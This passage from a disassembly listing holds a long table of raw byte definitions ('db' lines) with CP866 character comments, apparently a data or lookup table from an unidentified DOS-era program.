		db 0A0h	; ═
		db  20h	;  
		db  0Ch	;  
		db  9Dh	; ²
		db 0A1h	; ║
		db    1	;  
		db    2	;  
		db  9Dh	; ²
		db 0A4h	; є
		db  88h	; ┬
		db    8	;  
		db  9Dh	; ²
		db 0A4h	; є
		db  88h	; ┬
		db    9	;  
		db  9Dh	; ²
		db 0A9h	; ╘
		db  0Ah	;  
		db    1	;  
		db  9Dh	; ²
		db 0A9h	; ╘
		db  19h	;  
		db    1	;  
		db  9Dh	; ²
		db  11h	;  
		db    1	;  
		db    2	;  
		db  9Dh	; ²
		db  11h	;  
		db  0Ah	;  
		db  14h	;  
		db  9Dh	; ²
		db 0AFh	; ╞
		db    3	;  
		db 0C8h	; х
		db  9Dh	; ²
		db 0B2h	; ╡
		db    1	;  
		db  65h	; e
		db  9Dh	; ²
		db 0B3h	; Ё
		db    1	;  
		db  63h	; c
		db  9Dh	; ²
		db 0B5h	; ╣
		db    3	;  
		db    1	;  
		db  9Dh	; ²
		db 0B5h	; ╣
		db  2Ah	; *
		db  2Ah	; *
		db  9Dh	; ²
		db 0B6h	; І
		db  8Ch	; ▄
		db    2	;  
		db  9Dh	; ²
		db 0B9h	; ╧
		db  3Dh	; =
		db    1	;  
		db  9Dh	; ²
		db 0B9h	; ╧
		db  3Dh	; =
		db    2	;  
		db  9Dh	; ²
		db 0BDh	; Ґ
		db  0Fh	;  
		db  0Ah	;  
		db  9Dh	; ²
		db  13h	;  
		db 0FEh	; Ч
		db 0F7h	; В
		db  9Dh	; ²
		db  13h	;  
		db 0FEh	; Ч
		db 0F8h	; Ь
		db  9Dh	; ²
		db 0C1h	; а
		db  28h	; (
		db  25h	; %
		db  9Dh	; ²
		db 0C1h	; а
		db  28h	; (
		db  2Ah	; *
		db  9Dh	; ²
		db 0C7h	; г
		db    5	;  
		db  20h	;  
		db  9Dh	; ²
		db    2	;  
		db  15h	;  
		db 0F8h	; Ь
		db  9Dh	; ²
		db  14h	;  
		db    1	;  
		db  0Ah	;  
		db  9Dh	; ²
		db 0C8h	; х
		db  4Fh	; O
		db 0C8h	; х
		db  9Dh	; ²
		db 0C8h	; х
		db  63h	; c
		db  64h	; d
		db  9Dh	; ²
		db 0CDh	; м
		db 0EFh	; О
		db    1	;  
		db  9Dh	; ²
		db 0D0h	; п
		db 0EBh	; К
		db    2	;  
		db  9Dh	; ²
		db  15h	;  
		db    1	;  
		db  10h	;  
		db  9Dh	; ²
		db 0D3h	; с
		db 0D3h	; с
		db    1	;  
		db  9Dh	; ²
		db  16h	;  
		db 0C0h	; ю
		db  0Ah	;  
		db  9Dh	; ²
		db  16h	;  
		db 0C0h	; ю
		db  0Fh	;  
		db  9Dh	; ²
		db  16h	;  
		db 0E6h	; Ф
		db  7Dh	; }
		db  9Dh	; ²
		db 0E1h	; А
		db 0B2h	; ╡
		db  0Bh	;  
		db  9Dh	; ²
		db 0E2h	; Б
		db  6Eh	; n
		db  0Ah	;  
		db  9Dh	; ²
		db 0E4h	; Д
		db  0Ch	;  
		db    1	;  
		db  9Dh	; ²
		db  18h	;  
		db  0Ah	;  
		db  10h	;  
		db  9Dh	; ²
		db  18h	;  
		db  0Ah	;  
		db    8	;  
		db  9Dh	; ²
		db 0F6h	; Ж
		db    2	;  
		db    4	;  
		db  9Dh	; ²
		db 0F6h	; Ж
		db    2	;  
		db    5	;  
		db  9Dh	; ²
		db 0F9h	; Ы
		db  20h	;  
		db  0Eh	;  
		db  9Dh	; ²
		db 0F9h	; Ы
		db  20h	;  
		db  0Fh	;  
		db  9Dh	; ²
		db  19h	;  
		db    5	;  
		db  12h	;  
		db  9Dh	; ²
		db  19h	;  
		db    5	;  
		db    3	;  
		db  9Dh	; ²
		db 0FCh	; Э
		db  0Ah	;  
		db 0FBh	; Ш
		db  9Dh	; ²
		db 0FCh	; Э
		db  0Ah	;  
		db 0FCh	; Э
		db  9Dh	; ²
		db 0FDh	; Щ
		db    1	;  
		db  0Dh	;  
		db  9Dh	; ²
		db 0FEh	; Ч
		db 0EAh	; Й
		db  22h	; "
		db  9Dh	; ²
		db 0FEh	; Ч
		db 0EAh	; Й
		db  32h	; 2
		db  9Dh	; ²
		db  1Ah	;  
		db  40h	; @
		db  14h	;  
		db  9Dh	; ²
		db  1Bh	;  
		db    1	;  
		db    2	;  
		db  9Dh	; ²
		db  1Ch	;  
		db    1	;  
		db  32h	; 2
		db  9Dh	; ²
		db  21h	; !
		db 0E3h	; Ц
		db    3	;  
		db  9Dh	; ²
		db  21h	; !
		db 0E3h	; Ц
		db    4	;  
		db  9Dh	; ²
		db    6	;  
		db  10h	;  
		db    3	;  
		db  9Dh	; ²
		db  3Eh	; >
		db    2	;  
		db    5	;  
		db  9Dh	; ²
		db  3Fh	; ?
		db    1	;  
		db    1	;  
		db  9Dh	; ²
		db  3Fh	; ?
		db    1	;  
		db 0FDh	; Щ
		db  9Dh	; ²
		db  40h	; @
		db    2	;  
		db 0C9h	; и
		db  9Dh	; ²
		db  41h	; A
		db    1	;  
		db  31h	; 1
		db  9Dh	; ²
		db  42h	; B
		db  64h	; d
		db  21h	; !
		db  9Dh	; ²
		db  43h	; C
		db    8	;  
		db    2	;  
		db  9Dh	; ²
		db  43h	; C
		db    8	;  
		db    3	;  
		db  9Dh	; ²
		db    7	;  
		db    1	;  
		db    2	;  
		db  9Dh	; ²
		db    7	;  
		db    1	;  
		db    4	;  
		db  9Dh	; ²
		db  46h	; F
		db    9	;  
		db  0Bh	;  
		db  9Dh	; ²
		db  47h	; G
		db    5	;  
		db  22h	; "
		db  9Dh	; ²
		db  4Ch	; L
		db  28h	; (
		db    5	;  
		db  9Dh	; ²
		db  4Dh	; M
		db  58h	; X
		db  58h	; X
		db  9Dh	; ²
		db  4Eh	; N
		db    0	;  
		db 0FBh	; Ш
		db  9Dh	; ²
		db  4Eh	; N
		db    0	;  
		db 0FCh	; Э
		db  9Dh	; ²
		db  4Fh	; O
		db  64h	; d
		db    4	;  
		db  9Dh	; ²
		db  50h	; P
		db 0FEh	; Ч
		db  16h	;  
		db  9Dh	; ²
		db  50h	; P
		db 0FEh	; Ч
		db  17h	;  
		db  9Dh	; ²
		db  56h	; V
		db    8	;  
		db    1	;  
		db  9Dh	; ²
		db  58h	; X
		db  8Fh	; ▐
		db 0BEh	; Ў
		db  9Dh	; ²
		db  58h	; X
		db  12h	;  
		db 0BDh	; Ґ
		db  9Dh	; ²
		db  58h	; X
		db  12h	;  
		db 0BEh	; Ў
		db  9Dh	; ²
		db  59h	; Y
		db    8	;  
		db  40h	; @
		db  9Dh	; ²
		db  5Bh	; [
		db    1	;  
		db    1	;  
		db  9Dh	; ²
		db  5Bh	; [
		db    1	;  
		db    9	;  
		db  9Dh	; ²
		db  5Ch	; \
		db    1	;  
		db    1	;  
		db  9Dh	; ²
		db  5Ch	; \
		db    4	;  
		db    1	;  
		db  9Dh	; ²
		db  5Dh	; ]
		db 0FCh	; Э
		db  0Ah	;  
		db  9Dh	; ²
		db  5Fh	; _
		db    1	;  
		db    1	;  
		db  9Dh	; ²
		db  62h	; b
		db    8	;  
		db    8	;  
		db  9Dh	; ²
		db  63h	; c
		db  40h	; @
		db  40h	; @
		db  9Dh	; ²
		db  63h	; c
		db  40h	; @
		db  41h	; A
		db  9Eh	; ·
		db  66h	; f
		db    1	;  
		db    1	;  
		db  9Eh	; ·
		db  68h	; h
		db  64h	; d
		db  65h	; e
		db  9Eh	; ·
		db  68h	; h
		db    3	;  
		db    3	;  
		db  9Eh	; ·
		db  6Ah	; j
		db  31h	; 1
		db    4	;  
		db  9Eh	; ·
		db  6Bh	; k
		db  30h	; 0
		db    2	;  
		db  9Eh	; ·
		db  6Ch	; l
		db    2	;  
		db  47h	; G
		db  9Eh	; ·
		db  6Dh	; m
		db    0	;  
		db    1	;  
		db  9Eh	; ·
		db  6Eh	; n
		db    1	;  
		db    7	;  
		db  9Eh	; ·
		db  79h	; y
		db    1	;  
		db    2	;  
		db  9Eh	; ·
		db  7Ah	; z
		db    1	;  
		db    2	;  
		db  9Eh	; ·
		db  7Ah	; z
		db  40h	; @
		db    9	;  
		db  9Eh	; ·
		db  7Ch	; |
		db  40h	; @
		db    2	;  
		db  9Eh	; ·
		db  7Ch	; |
		db  40h	; @
		db  41h	; A
		db  9Eh	; ·
		db  7Dh	; }
		db    1	;  
		db  64h	; d
		db  9Eh	; ·
		db  7Eh	; ~
		db 0F8h	; Ь
		db  0Fh	;  
		db  9Eh	; ·
		db  84h	; └
		db  0Eh	;  
		db    1	;  
		db  9Eh	; ·
		db  84h	; └
		db  12h	;  
		db    1	;  
		db  9Eh	; ·
		db  87h	; ┤
		db    1	;  
		db  14h	;  
		db  9Eh	; ·
		db  88h	; ┬
		db    1	;  
		db  64h	; d
		db  9Eh	; ·
		db  8Ch	; ▄
		db    1	;  
		db 0FDh	; Щ
		db  9Eh	; ·
		db  8Fh	; ▐
		db  60h	; `
		db  3Fh	; ?
		db  9Eh	; ·
		db  8Fh	; ▐
		db  60h	; `
		db  41h	; A
		db  9Eh	; ·
		db  8Fh	; ▐
		db  60h	; `
		db  4Eh	; N
		db  9Eh	; ·
		db  90h	; ░
		db    1	;  
		db  0Fh	;  
		db  9Eh	; ·
		db  90h	; ░
		db    3	;  
		db    1	;  
		db  9Eh	; ·
		db  91h	; ▒
		db  6Eh	; n
		db 0E7h	; Г
		db  9Eh	; ·
		db  91h	; ▒
		db  6Eh	; n
		db 0E8h	; Х
		db  9Eh	; ·
		db  93h	; ⌠
		db  13h	;  
		db  43h	; C
		db  9Eh	; ·
		db  0Fh	;  
		db 0C9h	; и
		db 0C8h	; х
		db  9Eh	; ·
		db  0Fh	;  
		db  1Fh	;  
		db  14h	;  
		db  9Eh	; ·
		db  98h	; ≤
		db    1	;  
		db 0C1h	; а
		db  9Eh	; ·
		db  98h	; ≤
		db    1	;  
		db  41h	; A
		db  9Eh	; ·
		db  9Bh	; ⌡
		db    0	;  
		db    1	;  
		db  9Eh	; ·
		db  9Ch	; °
		db  9Ch	; °
		db  0Ah	;  
		db  9Eh	; ·
		db  9Ch	; °
		db  9Ch	; °
		db    2	;  
		db  9Eh	; ·
		db  9Eh	; ·
		db 0EFh	; О
		db    1	;  
		db  9Eh	; ·
		db 0A1h	; ║
		db 0B0h	; ╟
		db 0EFh	; О
		db  9Eh	; ·
		db 0A2h	; ╒
		db    0	;  
		db    1	;  
		db  9Eh	; ·
		db 0A5h	; ╔
		db    1	;  
		db  14h	;  
		db  9Eh	; ·
		db 0A5h	; ╔
		db    1	;  
		db  1Ah	;  
		db  9Eh	; ·
		db 0A5h	; ╔
		db    3	;  
		db  34h	; 4
		db  9Eh	; ·
		db 0A9h	; ╘
		db    9	;  
		db  0Bh	;  
		db  9Eh	; ·
		db 0AAh	; ╙
		db  0Ah	;  
		db    9	;  
		db  9Eh	; ·
		db 0AAh	; ╙
		db  40h	; @
		db  15h	;  
		db  9Eh	; ·
		db 0B1h	; ╠
		db  20h	;  
		db    1	;  
		db  9Eh	; ·
		db 0B6h	; І
		db    4	;  
		db    1	;  
		db  9Eh	; ·
		db 0B6h	; І
		db    4	;  
		db    9	;  
		db  9Eh	; ·
		db 0C1h	; а
		db  30h	; 0
		db    1	;  
		db  9Eh	; ·
		db 0C2h	; б
		db  78h	; x
		db    2	;  
		db  9Eh	; ·
		db 0C3h	; ц
		db  10h	;  
		db 0C8h	; х
		db  9Eh	; ·
		db 0C4h	; д
		db  95h	; ∙
		db    9	;  
		db  9Eh	; ·
		db 0C5h	; е
		db  10h	;  
		db  1Eh	;  
		db  9Eh	; ·
		db 0C9h	; и
		db  7Fh	; 
		db    1	;  
		db  9Eh	; ·
		db 0CBh	; к
		db  1Fh	;  
		db  64h	; d
		db  9Eh	; ·
		db 0CDh	; м
		db 0E1h	; А
		db 0E2h	; Б
		db  9Eh	; ·
		db 0CDh	; м
		db 0E1h	; А
		db 0E6h	; Ф
		db  9Eh	; ·
		db 0CDh	; м
		db 0E1h	; А
		db  22h	; "
		db  9Eh	; ·
		db 0CDh	; м
		db 0E1h	; А
		db  26h	; &
		db  9Eh	; ·
		db 0CFh	; о
		db  1Fh	;  
		db  29h	; )
		db  9Eh	; ·
		db 0CFh	; о
		db  1Fh	;  
		db  2Ah	; *
		db  9Eh	; ·
		db 0D0h	; п
		db  80h	; ─
		db  1Eh	;  
		db  9Eh	; ·
		db 0D2h	; р
		db 0FAh	; З
		db  0Bh	;  
		db  9Eh	; ·
		db 0D2h	; р
		db 0FAh	; З
		db    5	;  
		db  9Eh	; ·
		db 0D7h	; в
		db    8	;  
		db  10h	;  
		db  9Eh	; ·
		db 0D7h	; в
		db    8	;  
		db    2	;  
		db  9Eh	; ·
		db 0D9h	; ы
		db 0D0h	; п
		db  0Ah	;  
		db  9Eh	; ·
		db 0DCh	; э
		db  64h	; d
		db    1	;  
		db  9Eh	; ·
		db 0DEh	; ч
		db    5	;  
		db    5	;  
		db  9Eh	; ·
		db 0DEh	; ч
		db    5	;  
		db    8	;  
		db  9Eh	; ·
		db 0DFh	; ъ
		db    1	;  
		db    1	;  
		db  9Eh	; ·
		db 0DFh	; ъ
		db    1	;  
		db    2	;  
		db  9Eh	; ·
		db 0DFh	; ъ
		db    1	;  
		db    3	;  
		db  9Eh	; ·
		db 0E3h	; Ц
		db  96h	; √
		db  28h	; (
		db  9Eh	; ·
		db 0E3h	; Ц
		db    2	;  
		db  22h	; "
		db  9Eh	; ·
		db 0E4h	; Д
		db  0Ch	;  
		db 0FDh	; Щ
		db  9Eh	; ·
		db 0E5h	; Е
		db 0C8h	; х
		db    2	;  
		db  9Eh	; ·
		db 0E6h	; Ф
		db  64h	; d
		db  65h	; e
		db  9Eh	; ·
		db 0E8h	; Х
		db  0Ch	;  
		db    5	;  
		db  9Eh	; ·
		db 0E8h	; Х
		db  0Ch	;  
		db    6	;  
		db  9Eh	; ·
		db 0EAh	; Й
		db    8	;  
		db  46h	; F
		db  9Eh	; ·
		db 0F7h	; В
		db  40h	; @
		db    5	;  
		db  9Eh	; ·
		db 0FBh	; Ш
		db    4	;  
		db  42h	; B
		db  9Eh	; ·
		db 0FBh	; Ш
		db    4	;  
		db    7	;  
		db  9Eh	; ·
		db  26h	; &
		db    0	;  
		db 0B5h	; ╣
		db  9Eh	; ·
		db  2Ah	; *
		db    1	;  
		db    5	;  
		db  9Eh	; ·
		db  2Ah	; *
		db    4	;  
		db    1	;  
		db  9Eh	; ·
		db  2Bh	; +
		db  80h	; ─
		db  1Ah	;  
		db  9Eh	; ·
		db  2Bh	; +
		db  80h	; ─
		db    8	;  
		db  9Eh	; ·
		db  2Bh	; +
		db  81h	; │
		db  44h	; D
		db  9Eh	; ·
		db  2Bh	; +
		db  81h	; │
		db  5Ch	; \
		db  9Eh	; ·
		db  2Bh	; +
		db  81h	; │
		db  5Dh	; ]
		db  9Eh	; ·
		db  2Bh	; +
		db 0C0h	; ю
		db    7	;  
		db  9Eh	; ·
		db  2Dh	; -
		db  0Dh	;  
		db 0CAh	; й
		db  9Eh	; ·
		db  2Fh	; /
		db  12h	;  
		db    3	;  
		db  9Eh	; ·
		db  2Fh	; /
		db    4	;  
		db 0D7h	; в
		db  9Eh	; ·
		db  31h	; 1
		db    8	;  
		db    2	;  
		db  9Eh	; ·
		db  32h	; 2
		db 0CCh	; л
		db    4	;  
		db  9Eh	; ·
		db  34h	; 4
		db 0FEh	; Ч
		db    2	;  
		db  9Eh	; ·
		db  34h	; 4
		db 0FEh	; Ч
		db    4	;  
		db  9Eh	; ·
		db  36h	; 6
		db  6Ah	; j
		db  3Ch	; <
		db  9Eh	; ·
		db  39h	; 9
		db  96h	; √
		db  44h	; D
		db  9Eh	; ·
		db  39h	; 9
		db  2Dh	; -
		db 0F6h	; Ж
		db  9Eh	; ·
		db  3Bh	; ;
		db  0Fh	;  
		db  78h	; x
		db  9Eh	; ·
		db  3Dh	; =
		db  7Fh	; 
		db    9	;  
		db  9Eh	; ·
		db  40h	; @
		db    1	;  
		db  0Eh	;  
		db  9Eh	; ·
		db  40h	; @
		db    1	;  
		db  19h	;  
		db  9Eh	; ·
		db  41h	; A
		db    8	;  
		db    8	;  
		db  9Eh	; ·
		db  47h	; G
		db  1Fh	;  
		db 0C8h	; х
		db  9Eh	; ·
		db  4Ah	; J
		db  84h	; └
		db  64h	; d
		db  9Eh	; ·
		db  4Bh	; K
		db  9Eh	; ·
		db  4Bh	; K
		db  9Eh	; ·
		db  50h	; P
		db    1	;  
		db  28h	; (
		db  9Eh	; ·
		db  53h	; S
		db    1	;  
		db  38h	; 8
		db  9Eh	; ·
		db  5Dh	; ]
		db    1	;  
		db  75h	; u
		db  9Eh	; ·
		db  5Eh	; ^
		db    1	;  
		db    5	;  
		db  9Eh	; ·
		db  5Eh	; ^
		db  58h	; X
		db    5	;  
		db  9Eh	; ·
		db  60h	; `
		db    1	;  
		db    4	;  
		db  9Eh	; ·
		db  60h	; `
		db    1	;  
		db    5	;  
		db  9Eh	; ·
		db  61h	; a
		db    1	;  
		db  21h	; !
		db  9Fh	; ÷
		db  0Ah	;  
		db    4	;  
		db  19h	;  
		db  9Fh	; ÷
		db  69h	; i
		db  17h	;  
		db  82h	; ┌
		db  9Fh	; ÷
		db  6Eh	; n
		db 0FCh	; Э
		db 0FBh	; Ш
		db  9Fh	; ÷
		db  71h	; q
		db 0C8h	; х
		db    3	;  
		db  9Fh	; ÷
		db  71h	; q
		db 0C8h	; х
		db    4	;  
		db  9Fh	; ÷
		db  73h	; s
		db    1	;  
		db  0Ah	;  
		db  9Fh	; ÷
		db  73h	; s
		db    1	;  
		db    5	;  
		db  9Fh	; ÷
		db  74h	; t
		db 0FCh	; Э
		db    3	;  
		db  9Fh	; ÷
		db  79h	; y
		db  6Bh	; k
		db  50h	; P
		db  9Fh	; ÷
		db  79h	; y
		db  6Bh	; k
		db  52h	; R
		db  9Fh	; ÷
		db  7Fh	; 
		db 0A1h	; ║
		db    9	;  
		db  9Fh	; ÷
		db  86h	; ├
		db 0EDh	; М
		db    6	;  
		db  9Fh	; ÷
		db  89h	; ┴
		db  92h	; ▓
		db 0FBh	; Ш
		db  9Fh	; ÷
		db  8Ch	; ▄
		db 0FEh	; Ч
		db  3Ch	; <
		db  9Fh	; ÷
		db  8Ch	; ▄
		db 0FEh	; Ч
		db  3Dh	; =
		db  9Fh	; ÷
		db  8Eh	; ▌
		db  94h	; ■
		db 0C8h	; х
		db  9Fh	; ÷
		db  8Fh	; ▐
		db    1	;  
		db  0Ch	;  
		db  9Fh	; ÷
		db  91h	; ▒
		db  0Fh	;  
		db 0C9h	; и
		db  9Fh	; ÷
		db  91h	; ▒
		db  0Fh	;  
		db  5Ch	; \
		db  9Fh	; ÷
		db  94h	; ■
		db  6Ch	; l
		db    1	;  
		db  9Fh	; ÷
		db  94h	; ■
		db  3Ch	; <
		db    2	;  
		db  9Fh	; ÷
		db  95h	; ∙
		db  0Ah	;  
		db    1	;  
		db  9Fh	; ÷
		db  99h	; ≥
		db  59h	; Y
		db    2	;  
		db  9Fh	; ÷
		db 0A4h	; є
		db 0B4h	; Є
		db    5	;  
		db  9Fh	; ÷
		db 0A9h	; ╘
		db 0DFh	; ъ
		db 0FEh	; Ч
		db  9Fh	; ÷
		db 0B6h	; І
		db  26h	; &
		db    1	;  
		db  9Fh	; ÷
		db  13h	;  
		db    5	;  
		db 0C9h	; и
		db  9Fh	; ÷
		db  13h	;  
		db    5	;  
		db 0CAh	; й
		db  9Fh	; ÷
		db 0BFh	; ©
		db    7	;  
		db    5	;  
		db  9Fh	; ÷
		db 0C4h	; д
		db  20h	;  
		db    2	;  
		db  9Fh	; ÷
		db 0C9h	; и
		db  11h	;  
		db    2	;  
		db  9Fh	; ÷
		db 0CCh	; л
		db  32h	; 2
		db    4	;  
		db  9Fh	; ÷
		db 0CFh	; о
		db 0C8h	; х
		db  46h	; F
		db  9Fh	; ÷
		db 0D3h	; с
		db  16h	;  
		db 0FAh	; З
		db  9Fh	; ÷
		db 0D4h	; т
		db  46h	; F
		db    2	;  
		db  9Fh	; ÷
		db 0D5h	; у
		db  20h	;  
		db 0E8h	; Х
		db  9Fh	; ÷
		db 0D7h	; в
		db  13h	;  
		db    1	;  
		db  9Fh	; ÷
		db 0DAh	; з
		db    1	;  
		db  64h	; d
		db  9Fh	; ÷
		db 0DAh	; з
		db    1	;  
		db  65h	; e
		db  9Fh	; ÷
		db 0E1h	; А
		db  82h	; ┌
		db    1	;  
		db  9Fh	; ÷
		db 0E2h	; Б
		db    1	;  
		db    1	;  
		db  9Fh	; ÷
		db 0E2h	; Б
		db    1	;  
		db    8	;  
		db  9Fh	; ÷
		db 0E6h	; Ф
		db    4	;  
		db    2	;  
		db  9Fh	; ÷
		db 0E6h	; Ф
		db    4	;  
		db  22h	; "
		db  9Fh	; ÷
		db 0E9h	; И
		db    1	;  
		db    2	;  
		db  9Fh	; ÷
		db 0EDh	; М
		db    6	;  
		db  1Eh	;  
		db  9Fh	; ÷
		db 0EEh	; Н
		db 0C8h	; х
		db    2	;  
		db  9Fh	; ÷
		db 0EEh	; Н
		db    5	;  
		db  92h	; ▓
		db  9Fh	; ÷
		db 0EEh	; Н
		db  45h	; E
		db    2	;  
		db  9Fh	; ÷
		db 0F0h	; П
		db 0BFh	; ©
		db 0C9h	; и
		db  9Fh	; ÷
		db 0F2h	; Р
		db  0Ah	;  
		db  64h	; d
		db  9Fh	; ÷
		db 0F2h	; Р
		db  0Ah	;  
		db  65h	; e
		db  9Fh	; ÷
		db 0F7h	; В
		db    0	;  
		db 0C6h	; ф
		db  9Fh	; ÷
		db  19h	;  
		db  14h	;  
		db    2	;  
		db  9Fh	; ÷
		db  1Ch	;  
		db    1	;  
		db    1	;  
		db  9Fh	; ÷
		db  1Fh	;  
		db  0Ah	;  
		db    2	;  
		db  9Fh	; ÷
		db  21h	; !
		db    1	;  
		db  33h	; 3
		db  9Fh	; ÷
		db  25h	; %
		db    7	;  
		db  5Fh	; _
		db  9Fh	; ÷
		db  27h	; '
		db  10h	;  
		db    2	;  
		db  9Fh	; ÷
		db  28h	; (
		db  33h	; 3
		db  0Dh	;  
		db  9Fh	; ÷
		db  2Bh	; +
		db 0FEh	; Ч
		db 0DCh	; э
		db  9Fh	; ÷
		db  30h	; 0
		db 0F8h	; Ь
		db    2	;  
		db  9Fh	; ÷
		db  31h	; 1
		db 0FEh	; Ч
		db  0Bh	;  
		db  9Fh	; ÷
		db  32h	; 2
		db  64h	; d
		db    5	;  
		db  9Fh	; ÷
		db  33h	; 3
		db 0EEh	; Н
		db    6	;  
		db  9Fh	; ÷
		db  3Eh	; >
		db  33h	; 3
		db  14h	;  
		db  9Fh	; ÷
		db  3Eh	; >
		db  33h	; 3
		db  1Ah	;  
		db  9Fh	; ÷
		db  42h	; B
		db  9Ch	; °
		db  15h	;  
		db  9Fh	; ÷
		db  42h	; B
		db  9Ch	; °
		db  16h	;  
		db  9Fh	; ÷
		db  43h	; C
		db  15h	;  
		db  0Eh	;  
		db  9Fh	; ÷
		db  43h	; C
		db  15h	;  
		db  0Fh	;  
		db  9Fh	; ÷
		db  45h	; E
		db 0FAh	; З
		db 0FEh	; Ч
		db  9Fh	; ÷
		db  48h	; H
		db 0F8h	; Ь
		db 0C8h	; х
		db  9Fh	; ÷
		db  4Bh	; K
		db  10h	;  
		db    1	;  
		db  9Fh	; ÷
		db  4Dh	; M
		db  95h	; ∙
		db  0Ah	;  
		db  9Fh	; ÷
		db  53h	; S
		db 0B5h	; ╣
		db    4	;  
		db  9Fh	; ÷
		db  53h	; S
		db 0B5h	; ╣
		db    5	;  
		db  9Fh	; ÷
		db  54h	; T
		db  2Ch	; ,
		db  1Fh	;  
		db  9Fh	; ÷
		db  55h	; U
		db 0B0h	; ╟
		db    3	;  
		db  9Fh	; ÷
		db  57h	; W
		db 0B2h	; ╡
		db  81h	; │
		db  9Fh	; ÷
		db  57h	; W
		db 0B3h	; Ё
		db  8Ch	; ▄
		db  9Fh	; ÷
		db  5Ah	; Z
		db 0C8h	; х
		db    7	;  
		db  9Fh	; ÷
		db  5Ah	; Z
		db 0C8h	; х
		db    8	;  
		db  9Fh	; ÷
		db  5Bh	; [
		db  0Dh	;  
		db  87h	; ┤
		db  9Fh	; ÷
		db  5Bh	; [
		db  0Fh	;  
		db 0DCh	; э
		db  9Fh	; ÷
		db  5Bh	; [
		db    8	;  
		db  19h	;  
		db  9Fh	; ÷
		db  5Ch	; \
		db  10h	;  
		db  0Ch	;  
		db  9Fh	; ÷
		db  5Ch	; \
		db  10h	;  
		db  0Dh	;  
		db  9Fh	; ÷
		db  5Ch	; \
		db  10h	;  
		db    9	;  
		db  9Fh	; ÷
		db  5Dh	; ]
		db  11h	;  
		db    7	;  
		db  10h	;  
		db    1	;  
		db    0	;  
		db  12h	;  
		db  10h	;  
		db    1	;  
		db    0	;  
		db  13h	;  
		db 0A0h	; ═
		db  64h	; d
		db  64h	; d
		db  19h	;  
		db 0A0h	; ═
		db  66h	; f
		db    2	;  
		db    2	;  
		db 0A0h	; ═
		db  68h	; h
		db  80h	; ─
		db  0Ah	;  
		db 0A0h	; ═
		db  0Bh	;  
		db    5	;  
		db  0Eh	;  
		db 0A0h	; ═
		db  6Fh	; o
		db    2	;  
		db    1	;  
		db 0A0h	; ═
		db  0Ch	;  
		db  80h	; ─
		db    3	;  
		db 0A0h	; ═
		db  0Ch	;  
		db  80h	; ─
		db    6	;  
		db 0A0h	; ═
		db  7Ch	; |
		db    2	;  
		db    5	;  
		db 0A0h	; ═
		db  7Ch	; |
		db    4	;  
		db    1	;  
		db 0A0h	; ═
		db  7Dh	; }
		db 0D2h	; р
		db 0B7h	; Ї
		db 0A0h	; ═
		db  7Dh	; }
		db 0FFh	;  
		db  8Ch	; ▄
		db 0A0h	; ═
		db  7Eh	; ~
		db    0	;  
		db  12h	;  
		db 0A0h	; ═
		db  7Eh	; ~
		db    0	;  
		db  13h	;  
		db 0A0h	; ═
		db  89h	; ┴
		db    1	;  
		db    5	;  
		db 0A0h	; ═
		db  89h	; ┴
		db 0C8h	; х
		db    5	;  
		db 0A0h	; ═
		db  0Fh	;  
		db  0Eh	;  
		db  32h	; 2
		db 0A0h	; ═
		db  12h	;  
		db    2	;  
		db  82h	; ┌
		db 0A0h	; ═
		db 0B9h	; ╧
		db    1	;  
		db  15h	;  
		db 0A0h	; ═
		db 0BAh	; ╨
		db  64h	; d
		db    1	;  
		db 0A0h	; ═
		db 0BEh	; Ў
		db  0Ah	;  
		db    1	;  
		db 0A0h	; ═
		db 0BEh	; Ў
		db 0EFh	; О
		db    1	;  
		db 0A0h	; ═
		db 0C0h	; ю
		db    1	;  
		db    1	;  
		db 0A0h	; ═
		db 0C1h	; а
		db    8	;  
		db    1	;  
		db 0A0h	; ═
		db 0C2h	; б
		db    1	;  
		db    8	;  
		db 0A0h	; ═
		db 0C5h	; е
		db    1	;  
		db  0Bh	;  
		db 0A0h	; ═
		db 0C6h	; ф
		db    6	;  
		db  12h	;  
		db 0A0h	; ═
		db 0C7h	; г
		db    8	;  
		db  14h	;  
		db 0A0h	; ═
		db 0C9h	; и
		db  81h	; │
		db 0FEh	; Ч
		db 0A0h	; ═
		db 0CAh	; й
		db    2	;  
		db  0Ah	;  
		db 0A0h	; ═
		db 0CCh	; л
		db 0FAh	; З
		db    3	;  
		db 0A0h	; ═
		db 0D4h	; т
		db  34h	; 4
		db 0FEh	; Ч
		db 0A0h	; ═
		db 0D8h	; ь
		db    1	;  
		db    1	;  
		db 0A0h	; ═
		db 0D8h	; ь
		db    1	;  
		db    3	;  
		db 0A0h	; ═
		db 0D9h	; ы
		db    1	;  
		db  0Ah	;  
		db 0A0h	; ═
		db 0DAh	; з
		db  2Bh	; +
		db 0C9h	; и
		db 0A0h	; ═
		db 0DCh	; э
		db  89h	; ┴
		db    2	;  
		db 0A0h	; ═
		db 0E3h	; Ц
		db  10h	;  
		db    1	;  
		db 0A0h	; ═
		db 0E4h	; Д
		db  78h	; x
		db 0BEh	; Ў
		db 0A0h	; ═
		db 0E4h	; Д
		db  78h	; x
		db 0C0h	; ю
		db 0A0h	; ═
		db  17h	;  
		db 0DCh	; э
		db    1	;  
		db 0A0h	; ═
		db 0E6h	; Ф
		db    1	;  
		db  82h	; ┌
		db 0A0h	; ═
		db 0E6h	; Ф
		db    9	;  
		db    2	;  
		db 0A0h	; ═
		db 0EDh	; М
		db  0Ah	;  
		db 0F5h	; У
		db 0A0h	; ═
		db 0EEh	; Н
		db  38h	; 8
		db    1	;  
		db 0A0h	; ═
		db 0EFh	; О
		db    1	;  
		db  0Ah	;  
		db 0A0h	; ═
		db 0EFh	; О
		db  0Ah	;  
		db  0Ah	;  
		db 0A0h	; ═
		db  18h	;  
		db 0FBh	; Ш
		db    1	;  
		db 0A0h	; ═
		db 0F0h	; П
		db  70h	; p
		db  0Bh	;  
		db 0A0h	; ═
		db 0F3h	; С
		db  8Ch	; ▄
		db    1	;  
		db 0A0h	; ═
		db 0F4h	; Т
		db  0Ch	;  
		db  0Ah	;  
		db 0A0h	; ═
		db 0F5h	; У
		db  70h	; p
		db    1	;  
		db 0A0h	; ═
		db 0F7h	; В
		db    3	;  
		db    2	;  
		db 0A0h	; ═
		db 0F8h	; Ь
		db 0FEh	; Ч
		db 0C8h	; х
		db 0A0h	; ═
		db 0FAh	; З
		db    1	;  
		db    1	;  
		db 0A0h	; ═
		db 0FBh	; Ш
		db  11h	;  
		db    2	;  
		db 0A0h	; ═
		db 0FCh	; Э
		db  81h	; │
		db    2	;  
		db 0A0h	; ═
		db 0FCh	; Э
		db  44h	; D
		db    9	;  
		db 0A0h	; ═
		db 0FDh	; Щ
		db    4	;  
		db 0C9h	; и
